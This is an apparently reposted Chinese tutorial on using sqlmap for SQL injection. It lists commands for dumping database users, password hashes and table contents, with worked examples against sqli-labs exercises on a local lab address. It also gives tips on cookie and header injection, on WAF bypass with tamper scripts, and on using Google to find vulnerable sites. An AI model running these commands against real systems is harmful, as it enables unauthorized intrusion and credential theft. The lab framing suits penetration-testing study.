ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

渗透测试---SQL注入~SQLmap工具基本实用

2020-05-09 13:02:15  阅读:314  来源: 互联网

标签:SQLmap sqlmap name 渗透 数据库 py python url SQL


Pangolin(穿山甲)

 

 

SQLmap

需要在python27的环境下运行。

打开sqlmap命令行,如果python27没有装在环境变量中,需要先敲python调用,再输入sqlmap命令。

常用命令:

1.判断当前用户是否是dba:
python sqlmap.py -u "url" --is-dba

2.--users:列出数据库管理系统用户:
python sqlmap.py -u "url" --users

3.--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords
python sqlmap.py -u "url" --passwords -U sa

4.查看用户权限
python sqlmap.py -u "url" --privileges
python sqlmap.py -u "url" --privileges -U postgres

5.--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs

6.--tables列数据库表
python sqlmap.py -u "url" --tables -D "db_name"
-D:指定数据库名称

7.--columns查看列名
python sqlmap.py -u "url" --columns -T "table_name" -D "db_name"

8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"

实战演示:

get型:

以sql-labs中的Less 1为例。

在sqlmap命令行输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1"

回车执行,其中会有很多数据交互。

 

执行完成后可以看到哪里存在漏洞,sqlmap跑的时候所运用的注入类型及语句,还有输出结果的保存位置。

 

当下次测相同url时,会直接读取之前保存的输出结果,如果想要看过程,可以去保存位置删除之前的输出结果。

爆数据库,输入:

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" --dbs

爆表,例如指定数据库为dvwa,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa --tables

爆字段,例如指定数据库为dvwa,指定表为users,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users --columns

 

爆内容,例如指定数据库为dvwa,指定表为users,指定字段为user和password,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users -C user,password --dump

post型:

以sql-labs中的Less 18为例。

使用burpsuite代理抓包并且关闭拦截,在本关随便输入一组用户名和密码,点击提交后在burpsuite的历史记录中找到请求的数据包,将post传递的参数复制。

 

在sqlmap命令行输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-18/" --data "uname=admin&passwd=password&submit=Submit"

回车执行。

类似:

  • cookie注入时,抓包复制cookie值,--cookie "cookie值"即可,适用于Web应用需要登录的时候,直接抓包获取cookie值,cookie中含有登录态信息。
  • user-agent注入时,抓包复制user-agent值,--user-agent "user-agent值"即可。
  • risk和level参数都有4个级别,级别越高测试的范围越大,例如可以包括数据头部注入,以及使用or等函数进行注入,导致可能会修改原有数据库的数据。
  • 如果知道大概是什么注入类型,可以使用--technique来指定注入类型。
  • 暴力破解Access数据库时有可能跑不出表和密码,可以使用--common-tables和--common-columns来指定字典进行爆破,不指定的话默认使用sqlmap自带字典。
  • -g可以使用Google搜索引擎在互联网上搜索具有相同类型漏洞的站点。
  • --prefix可以在命令中添加注入时用到的前缀。
  • --suffix可以在命令中添加注入时用到的后缀。例如使用AND ('1'='1进行闭合,这样执行后就会变成AND ('1'='1')。
  • --time-sec可以设定延迟注入的时间。
  • --tamper可以修改注入数据,通过调用写好的脚本绕过waf的过滤,利用脚本中将and替换为anandd,即可以使用双写绕过and的过滤。
  • tamper详解链接:https://www.freebuf.com/sectool/179035.html
  • 脚本开头都设有优先级函数,如果--tamper调用了多个脚本,会根据优先级,执行优先级最高的脚本,如果要调用的脚本都生效,可以将调用的脚本改为相同优先级。

 

标签:SQLmap,sqlmap,name,渗透,数据库,py,python,url,SQL
来源: https://www.cnblogs.com/123456ZJJ/p/12856615.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有